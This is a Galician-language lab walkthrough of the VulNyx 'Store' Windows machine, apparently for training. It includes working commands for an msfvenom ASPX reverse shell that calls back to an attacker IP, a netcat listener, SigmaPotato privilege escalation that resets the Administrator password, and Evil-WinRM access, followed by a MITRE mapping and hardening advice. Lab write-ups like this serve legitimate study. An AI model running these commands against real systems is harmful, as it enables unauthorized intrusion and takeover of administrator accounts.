Ir ao contido

Doc vulnyx store

Máquina virtual Store

Fig. VulNyx Store
Fig. Card VulNyx Store

A máquina Store é moi interesante porque...

  • Sistema operativo Windows Server 2019
  • Servidor web IIS 10.0
  • Enumeración web con Dirb e wordlist específico de IIS
  • Descubrimento de directorio /aspnet_files/ con funcionalidade de upload
  • Upload de reverse shell ASPX generada con msfvenom
  • Obtención de shell como usuario IIS (low privilege)
  • Escalada de privilexios mediante SeImpersonatePrivilege
  • Uso de SigmaPotato para impersonation
  • Cambio de contrasinal de Administrator
  • Acceso final con Evil-WinRM como Administrator

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Store -R # TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Store

Resultado do escaneo de portos:

PORT     STATE SERVICE
80/tcp   open  http
445/tcp  open  microsoft-ds
5985/tcp open  wsman (WinRM)

Portos identificados:

  • Porto 80: Servidor web (IIS)
  • Porto 445: SMB (Microsoft-DS)
  • Porto 5985: WinRM (Windows Remote Management)

Fase 2 — Análise

Escaneo de servizos e versións

# Escaneo detallado dos portos abertos
sudo nmap -p80,445,5985 -sCV IP_VulNyx_Store -oN targeted -oX targeted.xml

Información importante:

  • IIS 10.0 como servidor web
  • WinRM habilitado no porto 5985
  • SMB accesible no porto 445

Enumeración web

# Identificar tecnoloxías web
whatweb IP_VulNyx_Store

# Obter cabeceiras HTTP
curl -I IP_VulNyx_Store

Resultado:

  • Servidor web: Microsoft IIS 10.0

Enumeración de directorios con wordlist específico de IIS

Para servidores IIS, é recomendable usar un wordlist específico que inclúe rutas comúns de IIS:

# Descargar wordlist específico de IIS desde SecLists
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/Web-Servers/IIS.txt

# Enumerar directorios con Dirb usando wordlist de IIS
dirb http://IP_VulNyx_Store IIS.txt

Resultado de Dirb:

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Nov 10 07:00:47 2025
URL_BASE: http://IP_VulNyx_Store/
WORDLIST_FILES: IIS.txt

-----------------

GENERATED WORDS: 215                                                           

---- Scanning URL: http://IP_VulNyx_Store/ ----
+ http://IP_VulNyx_Store/aspnet_files/ (CODE:200|SIZE:1678)                                                        
+ http://IP_VulNyx_Store/aspnet_client/ (CODE:403|SIZE:1233)                                                       
+ http://IP_VulNyx_Store/iisstart.htm (CODE:200|SIZE:703)                                                          
+ http://IP_VulNyx_Store/iisstart.png (CODE:200|SIZE:99710)                                                        
+ http://IP_VulNyx_Store/%NETHOOD%/ (CODE:400|SIZE:324)                                                            
+ http://IP_VulNyx_Store/trace.axd (CODE:403|SIZE:2452)                                                            
                                                                                                                  
-----------------
END_TIME: Mon Nov 10 07:00:47 2025
DOWNLOADED: 215 - FOUND: 9

Descubrimento crítico:

  • Directorio /aspnet_files/ accesible (CODE 200)
  • Posible funcionalidade de upload de ficheiros

Exploración do directorio aspnet_files

# Acceder ao directorio no navegador
firefox http://IP_VulNyx_Store/aspnet_files/

# Enumerar subdirectorios dentro de aspnet_files
dirb http://IP_VulNyx_Store/aspnet_files/

Resultado:

---- Scanning URL: http://IP_VulNyx_Store/aspnet_files/ ----
==> DIRECTORY: http://IP_VulNyx_Store/aspnet_files/uploads/                                                        
                                                                                                                  
---- Entering directory: http://IP_VulNyx_Store/aspnet_files/uploads/ ----
                                                                                                                  
-----------------
END_TIME: Mon Nov 10 07:03:33 2025
DOWNLOADED: 9224 - FOUND: 0

Descubrimento importante:

  • Subdirectorio /aspnet_files/uploads/ dispoñible
  • Este directorio almacena os ficheiros subidos
  • Podemos subir un shell ASPX e executalo

Información sobre IIS e ASPX

Que é IIS?

IIS (Internet Information Services) é o servidor web de Microsoft para Windows Server.

Características:

  • Servidor web e de aplicacións
  • Soporte nativo para ASP.NET e ASPX
  • Integración con Active Directory
  • Execución de código do lado do servidor
Que é ASPX?

ASPX (Active Server Pages Extended) é unha tecnoloxía de Microsoft para crear páxinas web dinámicas.

Características para explotación:

  • Executa código C# ou VB.NET no servidor
  • Pode executar comandos do sistema
  • Ideal para webshells e reverse shells

Fase 3 — Explotación

Creación de reverse shell ASPX con msfvenom

# Xerar payload ASPX con msfvenom
msfvenom -p windows/x64/shell_reverse_tcp \
         LHOST=IP_Atacante \
         LPORT=443 \
         -f aspx \
         -o shell.aspx

Saída de msfvenom:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3413 bytes
Saved as: shell.aspx

Upload do ficheiro shell.aspx

Acceder á páxina de upload:

http://IP_VulNyx_Store/aspnet_files/

Subir o ficheiro shell.aspx mediante o formulario web


Preparar listener e executar shell

# Preparar listener en Kali
nc -nlvp 443

Executar o shell ASPX:

# Acceder ao ficheiro subido para executalo
curl -sX GET "http://IP_VulNyx_Store/aspnet_files/uploads/shell.aspx"

Saída esperada no listener:

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [IP_atacante] from (UNKNOWN) [IP_VulNyx_Store] 49671
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>

Shell obtida como usuario IIS (low privilege)


Verificar privilexios

c:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv> whoami /priv

Saída de privilexios:

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Privilexio crítico identificado:

  • SeImpersonatePrivilege: Enabled
  • Este privilexio permite ataques de impersonation
  • Podemos usar SigmaPotato para escalada

Fase 4 — Post-Explotación

Información sobre SeImpersonatePrivilege

SeImpersonatePrivilege é un privilexio de Windows que permite a un proceso suplantar (impersonate) a identidade doutro usuario.

Implicacións de seguridade:

  • Usuarios con este privilexio poden escalar a SYSTEM
  • Ferramentas como Potato explotan este privilexio
  • Común en contas de servizo (IIS, SQL Server, etc.)

Ferramentas de explotación (Potato family)

  • JuicyPotato: Para Windows Server 2016 e anteriores
  • RoguePotato: Para Windows Server 2019
  • PrintSpoofer: Alternativa moderna
  • SigmaPotato: Ferramenta moderna e versátil

Preparación de SigmaPotato

# Descargar SigmaPotato desde GitHub ao directorio local /home/kali/Downloads
wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.0/SigmaPotato.exe

# Iniciar servidor SMB con impacket
impacket-smbserver compartir -smb2support /home/kali/Downloads

Saída de impacket:

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Copiar SigmaPotato á máquina víctima

c:\windows\system32\inetsrv> cd c:\Windows\Temp
c:\Windows\Temp>

c:\Windows\Temp> copy \\IP_Atacante\compartir\SigmaPotato.exe

Verificar copia:

c:\Windows\Temp> dir SigmaPotato.exe

Executar SigmaPotato para cambiar contrasinal de Administrator

c:\Windows\Temp> .\SigmaPotato.exe "net user administrator abc123."

Saída esperada:

[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE
[+] Searching for System Token...
[+] PID: 732 | Token: 0x796 | User: NT AUTHORITY\SYSTEM
[+] Found System Token: True
[+] Duplicating Token...
[+] New Token Handle: 948
[+] Current Command Length: 30 characters
[+] Creating Process via 'CreateProcessAsUserW'
[+] Process Started with PID: 2740

[+] Process Output:
The command completed successfully.

Contrasinal de Administrator cambiada con éxito a abc123.


Acceso como Administrator con Evil-WinRM

# Conectar mediante Evil-WinRM como Administrator
evil-winrm -i IP_VulNyx_Store -u administrator -p 'abc123.'

Saída esperada:

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Obtención de flags

# Navegar ao Desktop de Administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop

# Ler flag de root
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[FLAG_ROOT]

# Buscar flag de usuario
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cd C:\Users

# Listar usuarios
*Evil-WinRM* PS C:\Users> dir

# Acceder ao usuario correspondente e ler flag
*Evil-WinRM* PS C:\Users> cd [usuario]\Desktop
*Evil-WinRM* PS C:\Users\[usuario]\Desktop> type user.txt
[FLAG_USER]

Ambas flags conseguidas


Correspondencia de fases → MITRE ATT&CK — VulNyx: Store

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
Detección de sistema operativo Windows Server OS fingerprinting T1592.004 — Gather Victim Host Information: Client Configurations CWE-200 — Information Exposure
2. Análise Enumeración web con Dirb e wordlist IIS Web content discovery T1595.002 — Active Scanning: Vulnerability Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure
Descubrimento de directorio /aspnet_files/ con upload Information disclosure T1592 — Gather Victim Host Information
T1083 — File and Directory Discovery
CWE-434 — Unrestricted Upload of File with Dangerous Type
3. Explotación Creación de shell ASPX con msfvenom Malicious file preparation T1027 — Obfuscated Files or Information
T1059.001 — Command and Scripting Interpreter: PowerShell
CWE-434 — Unrestricted Upload of File with Dangerous Type
Upload de shell ASPX File upload exploitation T1105 — Ingress Tool Transfer
T1190 — Exploit Public-Facing Application
CWE-434 — Unrestricted Upload of File with Dangerous Type
Execución de reverse shell ASPX Web shell execution T1505.003 — Server Software Component: Web Shell
T1059.003 — Command and Scripting Interpreter: Windows Command Shell
CWE-94 — Improper Control of Generation of Code
4. Post-Explotación Identificación de SeImpersonatePrivilege Privilege enumeration T1082 — System Information Discovery
T1033 — System Owner/User Discovery
CWE-269 — Improper Privilege Management
Transfer de SigmaPotato mediante SMB Tool transfer via SMB T1021.002 — Remote Services: SMB/Windows Admin Shares
T1570 — Lateral Tool Transfer
N/A
Execución de SigmaPotato para impersonation Token impersonation T1134 — Access Token Manipulation
T1134.001 — Access Token Manipulation: Token Impersonation/Theft
CWE-269 — Improper Privilege Management
Cambio de contrasinal de Administrator Account manipulation T1098 — Account Manipulation
T1078.002 — Valid Accounts: Domain Accounts
CWE-620 — Unverified Password Change
Acceso como Administrator con Evil-WinRM Remote access with elevated privileges T1021.006 — Remote Services: Windows Remote Management
T1078.002 — Valid Accounts: Domain Accounts
N/A
Navegación polo sistema de ficheiros e lectura de flags File and directory discovery T1083 — File and Directory Discovery
T1005 — Data from Local System
N/A

Recursos Adicionais

Referencias sobre IIS e ASPX

Referencias sobre Potato exploits

Ferramentas utilizadas

  • Dirb: Enumeración web de directorios
  • Msfvenom: Xerador de payloads de Metasploit
  • Netcat: Listener para reverse shells
  • Impacket: Suite de ferramentas para protocolos de rede Windows
  • SigmaPotato: Ferramenta de escalada mediante impersonation
  • Evil-WinRM: Shell remota mediante WinRM

Vulnerabilidades e configuracións inseguras

  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-269: Improper Privilege Management
  • CWE-620: Unverified Password Change
  • Upload sen validación: Permite subir ficheiros ASPX maliciosos
  • SeImpersonatePrivilege: Mal configuración de privilexios de servizo

Recomendacións de seguridade

  • Validación de ficheiros: Implementar validación estrita de uploads (tipo, tamaño, contido)
  • Whitelist de extensións: Só permitir extensións seguras (jpg, png, pdf)
  • Directorio sen execución: Os ficheiros subidos non deben executarse
  • Privilexios de servizo: Non executar IIS con SeImpersonatePrivilege se non é necesario
  • Seguridade de WinRM: Restrinxir acceso a WinRM só a IPs autorizadas
  • Auditoría: Monitorizar cambios de contrasinais de contas privilegiadas
  • Sandboxing: Executar aplicacións web en contenedores illados

Notas Importantes

  1. Windows Server 2019: Sistema operativo para servidores pero con configuracións inseguras
  2. IIS con upload: Directorio /aspnet_files/ permite upload de ficheiros ASPX
  3. Sen validación: Non se valida o tipo de ficheiro subido
  4. SeImpersonatePrivilege: Permite escalada a SYSTEM mediante Potato exploits
  5. SigmaPotato: Ferramenta moderna para explotar SeImpersonatePrivilege
  6. WinRM dispoñible: Permite acceso remoto tras cambiar contrasinal
  7. Wordlist específico: Usar wordlists específicos de IIS mellora a enumeración

Esta máquina é unha excelente demostración da importancia de validar ficheiros subidos e configurar correctamente privilexios de servizos.


Fluxo de ataque resumido

1. Enumeración web con wordlist IIS → /aspnet_files/ con upload
2. Xerar shell ASPX con msfvenom → Upload de shell.aspx
3. Executar shell.aspx → Reverse shell como IIS user
4. Identificar SeImpersonatePrivilege → Transfer de SigmaPotato
5. Executar SigmaPotato → Cambiar contrasinal Administrator
6. Evil-WinRM como Administrator → Flags conseguidas

Comparativa: Potato exploits

JuicyPotato vs RoguePotato vs SigmaPotato

Característica JuicyPotato RoguePotato SigmaPotato
Windows Server 2008, 2012, 2016 2019, 2022 2016, 2019, 2022
Método COM manipulation Potato + RogueOxidResolver Named pipe impersonation
CLSID required Si (específico por SO) Non Non
Complexidade Media-Alta Media Baixa
Uso Algo complexo Medio Sinxelo
Estado Non funciona en Server 2019+ Funciona en Server 2019+ Funciona en Server 2016+

Conclusión: Para Windows Server 2019, SigmaPotato ou RoguePotato son as mellores opcións. JuicyPotato quedou obsoleto para versións modernas.